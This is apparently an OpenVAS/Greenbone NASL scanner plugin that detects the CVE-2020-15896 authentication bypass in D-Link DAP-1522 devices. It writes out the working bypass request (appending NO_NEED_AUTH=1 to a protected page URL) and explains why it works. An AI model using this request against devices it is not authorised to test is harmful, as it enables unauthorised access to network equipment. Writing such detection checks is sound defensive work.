D-Link DAP-1522 Authentication Bypass Vulnerability (CVE-2020-15896)

# SPDX-FileCopyrightText: 2020 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

CPE_PREFIX = "cpe:/o:dlink";

if (description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.144343");
  script_version("2025-07-02T05:41:52+0000");
  script_tag(name:"last_modification", value:"2025-07-02 05:41:52 +0000 (Wed, 02 Jul 2025)");
  script_tag(name:"creation_date", value:"2020-08-03 09:54:06 +0000 (Mon, 03 Aug 2020)");
  script_tag(name:"cvss_base", value:"5.0");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:N/A:N");
  script_tag(name:"severity_vector", value:"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N");
  script_tag(name:"severity_origin", value:"NVD");
  script_tag(name:"severity_date", value:"2020-07-27 15:06:00 +0000 (Mon, 27 Jul 2020)");

  script_cve_id("CVE-2020-15896");

  script_tag(name:"qod_type", value:"exploit");

  script_tag(name:"solution_type", value:"VendorFix");

  script_name("D-Link DAP-1522 Authentication Bypass Vulnerability (CVE-2020-15896)");

  script_category(ACT_ATTACK);

  script_copyright("Copyright (C) 2020 Greenbone AG");
  script_family("Web application abuses");
  # nb: Experiences in the past have shown that various different devices might be affected
  script_dependencies("gb_dlink_dns_http_detect.nasl", "gb_dlink_dsl_consolidation.nasl",
                      "gb_dlink_dap_consolidation.nasl", "gb_dlink_dir_consolidation.nasl",
                      "gb_dlink_dwr_consolidation.nasl");
  script_mandatory_keys("d-link/http/detected");
  script_require_ports("Services/www", 80);

  script_tag(name:"summary", value:"The D-Link DAP-1522 is prone to an authentication bypass
  vulnerability.");

  script_tag(name:"insight", value:"here exist a few pages that are directly accessible by any
  unauthorized user, e.g., logout.php and login.php. This occurs because of checking the value of
  NO_NEED_AUTH. If the value of NO_NEED_AUTH is 1, the user has direct access to the webpage without
  any authentication. By appending a query string NO_NEED_AUTH with the value of 1 to any protected
  URL, any unauthorized user can access the application directly, as demonstrated by
  bsc_lan.php?NO_NEED_AUTH=1.");

  script_tag(name:"vuldetect", value:"Sends a crafted HTTP GET request and checks the response.");

  script_tag(name:"affected", value:"D-Link DAP-1522 devices. Other D-Link products might be affected
  as well.");

  script_tag(name:"solution", value:"See the referenced vendor advisory for a solution.");

  script_xref(name:"URL", value:"https://supportannouncement.us.dlink.com/announcement/publication.aspx?name=SAP10169");
  script_xref(name:"URL", value:"https://research.loginsoft.com/bugs/authentication-bypass-in-d-link-firmware-dap-1522/");

  exit(0);
}

include("host_details.inc");
include("http_func.inc");
include("http_keepalive.inc");

if (!infos = get_app_port_from_cpe_prefix(cpe: CPE_PREFIX, service: "www"))
  exit(0);

port = infos["port"];
CPE = infos["cpe"];

if (!dir = get_app_location(cpe: CPE, port: port))
  exit(0);

if (dir == "/")
  dir = "";

url = dir + "/bsc_lan.php?NO_NEED_AUTH=1&AUTH_GROUP=0";

if (http_vuln_check(port: port, url: url, pattern: "LAN Settings", check_header: TRUE, extra_check: "<h2>DEVICE NAME")) {
  report = http_report_vuln_url(port: port, url: url);
  security_message(port: port, data: report);
  exit(0);
}

exit(99);